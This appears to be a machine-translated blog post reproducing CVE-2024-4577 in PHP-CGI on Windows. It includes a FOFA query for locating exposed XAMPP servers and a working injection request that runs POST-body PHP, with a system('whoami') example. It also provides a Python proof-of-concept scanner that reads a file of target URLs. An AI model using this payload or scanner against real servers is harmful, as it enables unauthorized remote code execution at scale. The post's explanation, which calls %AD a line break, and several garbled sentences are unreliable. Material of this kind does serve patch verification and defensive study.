Technology Sharing

[Vulnerability Reproduction] PHP-CGI - Best-Fit - Code Execution (CVE-2024-4577)

2024-07-12

한어Русский языкEnglishFrançaisIndonesianSanskrit日本語DeutschPortuguêsΕλληνικάespañolItalianoSuomalainenLatina

Statement: This document or demonstration material is for educational and teaching purposes only. Any individual or organization that uses the information in this document for illegal activities has nothing to do with the author or publisher of this document.


Vulnerability Description

PHP-CGI is an interface for running PHP scripts on a web server, connecting the PHP interpreter to the web server through CGI (Common Gateway Interface). PHP is designed to ignore the character conversion in Windows.Best-FitWhen PHP-CGI runs on a Windows platform and uses the following languages ​​(Simplified Chinese 936/Traditional Chinese 950/Japanese 932, etc.), an attacker can construct a malicious request to bypass the CVE-2012-1823 patch, thereby executing arbitrary PHP code without logging in.

Vulnerability Reproduction

1) Information Collection
fofa:app="XAMPP"
insert image description here
We are a group of poor people who are constantly fighting against danger and madness, but we are also guardians.
insert image description here
2) Constructing data packets

POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host:ip

<?php echo "hello world!";?>
  • 1
  • 2
  • 3
  • 4

Code explanation:

/php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input
  • 1

This payload is a URL-encoded PHP Remote Command Execution (RCE) attack vector that exploits PHP CGI configuration options to achieve remote code execution. The following is a detailed explanation of the payload:

  1. /php-cgi/php-cgi.exe:

    • This is the requested path, pointing to the PHP CGI executable filephp-cgi.exePHP CGI is a PHP interpreter that runs independently of a web server and is typically used from the command line or as a CGI script.
  2. URL Encoding:

    • %ADIs a line breaknThe URL-encoded form of , commonly used to insert newlines in URLs, which can be used to bypass input filtering in some cases.
    • %3dyes=The url-encoded form is used to assign values ​​to variables.
  3. ?%ADd+cgi.force_redirect%3d0:

    • Try setting this herecgi.force_redirect0 disables PHP CGI redirection behavior. This is usually used to prevent PHP scripts from automatically jumping to the original requested URL after execution.
  4. +%ADd+cgi.redirect_status_env:

    • This part may be setcgi.redirect_status_env, is a directive in the PHP configuration that is used when PHP is running as a CGI or FastCGI process.
  5. +allow_url_include%3d1:

    • Here is the settingallow_url_includeA value of 1 allows PHP scripts to include files from URLs. This is a potential security risk because it allows an attacker to include remote files via the file path passed in the URL.
  6. +auto_prepend_file%3dphp://input:

    • set upauto_prepend_fileforphp://inputThis configuration option allows a file to be automatically included before executing a PHP script. When set tophp://input, it will contain the data sent via the HTTP POST request. This can be used to execute arbitrary PHP code, as the attacker can send malicious code via the POST request.

By constructing this payload, the attacker attempts to exploit the configuration options of PHP CGI to execute remote code.allow_url_includeandauto_prepend_file, an attacker can send a POST request containing PHP code, which will be automatically executed.

insert image description here
echohello world, the code is parsed.
3) Other operations can also be performed
Excuting an order

<?php system('whoami');?>
  • 1

insert image description here
Attention: Please do not do anything illegal!!!

test tools

poc

#!/usr/bin/env python
# -*- coding: utf-8 -*-

# 导入requests库,用于发送HTTP请求
import requests
# 导入argparse库,用于处理命令行参数
import argparse
# 从requests.exceptions导入RequestException,用于捕获请求异常
from requests.exceptions import RequestException
# 从urllib3.exceptions导入InsecureRequestWarning,用于禁用不安全请求警告
from urllib3.exceptions import InsecureRequestWarning

# 打印颜色控制字符
# 打印颜色
RED = '033[91m'
RESET = '033[0m'

# 禁用不安全请求警告
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

def check_vulnerability(url):
    """
    检查给定URL是否存在PHP CGI Windows平台远程代码执行漏洞(CVE-2024-4577)。
    
    :param url: 待检查的URL字符串
    """
    try:
        # 构造攻击URL,利用漏洞进行尝试
        attack_url = url.rstrip('/') + "//php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input"
        # 设置请求头信息
        headers = {
            'User-Agent': 'curl/8.3.0',
            'Content-Type': 'application/x-www-form-urlencoded'
        }
        # 设置请求体数据
        payload = "<?php echo '666666';?>"
        # 向服务器发送请求
        response = requests.post(attack_url, headers=headers, data=payload, verify=False, timeout=10)
        # 检查响应,如果状态码为200且响应体包含特定字符串,则判断为存在漏洞
        if response.status_code == 200 and '666666' in response.text:
            print(f"{RED}URL [{url}] 存在PHP CGI Windows平台远程代码执行漏洞(CVE-2024-4577)。{RESET}")
        else:
            print(f"URL [{url}] 未发现漏洞。")
    except RequestException as e:
        # 如果请求过程中发生异常,打印异常信息
        print(f"URL [{url}] 请求失败: {e}")

def main():
    """
    程序主入口。
    
    解析命令行参数,根据参数执行漏洞检查。
    """
    # 创建命令行参数解析器
    parser = argparse.ArgumentParser(description='检查目标URL是否存在PHP CGI Windows平台远程代码执行漏洞(CVE-2024-4577)。')
    # 添加URL参数,指定目标URL
    parser.add_argument('-u', '--url', help='指定目标URL')
    # 添加文件参数,指定包含多个URL的文本文件
    parser.add_argument('-f', '--file', help='指定包含多个目标URL的文本文件')

    # 解析命令行参数
    args = parser.parse_args()

    # 如果指定了URL参数
    if args.url:
        # 如果URL未以http://或https://开头,则添加http://
        args.url = "http://" + args.url.strip("/") if not args.url.startswith(("http://", "https://")) else args.url
        # 调用漏洞检查函数
        check_vulnerability(args.url)
    # 如果指定了文件参数
    elif args.file:
        # 打开文件,读取每行作为URL进行检查
        with open(args.file, 'r') as file:
            urls = file.read().splitlines()
            for url in urls:
                # 处理URL,确保其以http://或https://开头
                url = "http://" + url.strip("/") if not url.startswith(("http://", "https://")) else url
                # 调用漏洞检查函数
                check_vulnerability(url)

if __name__ == '__main__':
    main()
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57
  • 58
  • 59
  • 60
  • 61
  • 62
  • 63
  • 64
  • 65
  • 66
  • 67
  • 68
  • 69
  • 70
  • 71
  • 72
  • 73
  • 74
  • 75
  • 76
  • 77
  • 78
  • 79
  • 80
  • 81
  • 82

Run screenshot
insert image description here


The little lotus has just shown its pointed tip, and a dragonfly has already landed on it.